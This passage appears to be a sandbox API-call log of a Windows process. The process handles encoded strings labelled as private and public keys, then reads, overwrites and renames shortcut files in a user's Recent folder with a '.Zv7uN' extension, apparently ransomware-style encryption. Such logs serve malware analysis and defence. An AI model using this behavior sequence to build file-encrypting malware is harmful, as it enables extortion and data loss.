lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0084.454] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0084.456] GetCurrentThreadId () returned 0xa30 [0084.456] GetCurrentThreadId () returned 0xa30 [0084.456] GetCurrentThreadId () returned 0xa30 [0084.456] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0084.456] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0084.457] GetCurrentThreadId () returned 0xa30 [0084.457] GetCurrentThreadId () returned 0xa30 [0084.457] GetCurrentThreadId () returned 0xa30 [0084.457] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Vn_LVk.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\vn_lvk.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0084.457] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0084.457] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0084.457] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x19c5 [0084.457] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0084.457] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x19c5, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x19c5, lpOverlapped=0x0) returned 1 [0084.459] CloseHandle (hObject=0x124) returned 1 [0084.459] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Vn_LVk.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\vn_lvk.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0084.461] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x19c5, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x19c5, lpOverlapped=0x0) returned 1 [0084.463] CloseHandle (hObject=0x124) returned 1 [0084.465] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Vn_LVk.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\vn_lvk.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Vn_LVk.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\vn_lvk.lnk.zv7un")) returned 1 [0084.466] GetCurrentThreadId () returned 0xa30 [0084.466] GetCurrentThreadId () returned 0xa30 [0084.466] GetCurrentThreadId () returned 0xa30 [0084.466] GetCurrentThreadId () returned 0xa30 [0084.466] GetCurrentThreadId () returned 0xa30 [0084.466] GetCurrentThreadId () returned 0xa30 [0084.466] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29bd6c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe29bd6c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2a09980, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1a4f, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="vUCHxYZhOfXC.lnk", cAlternateFileName="VUCHXY~1.LNK")) returned 1 [0084.467] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.467] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.467] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vUCHxYZhOfXC.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\vuchxyzhofxc.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29bd6c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe29bd6c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2a09980, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1a4f)) returned 1 [0084.467] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vUCHxYZhOfXC.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\vuchxyzhofxc.lnk")) returned 0x20 [0084.467] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vUCHxYZhOfXC.lnk", dwFileAttributes=0x80) returned 1 [0084.469] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKA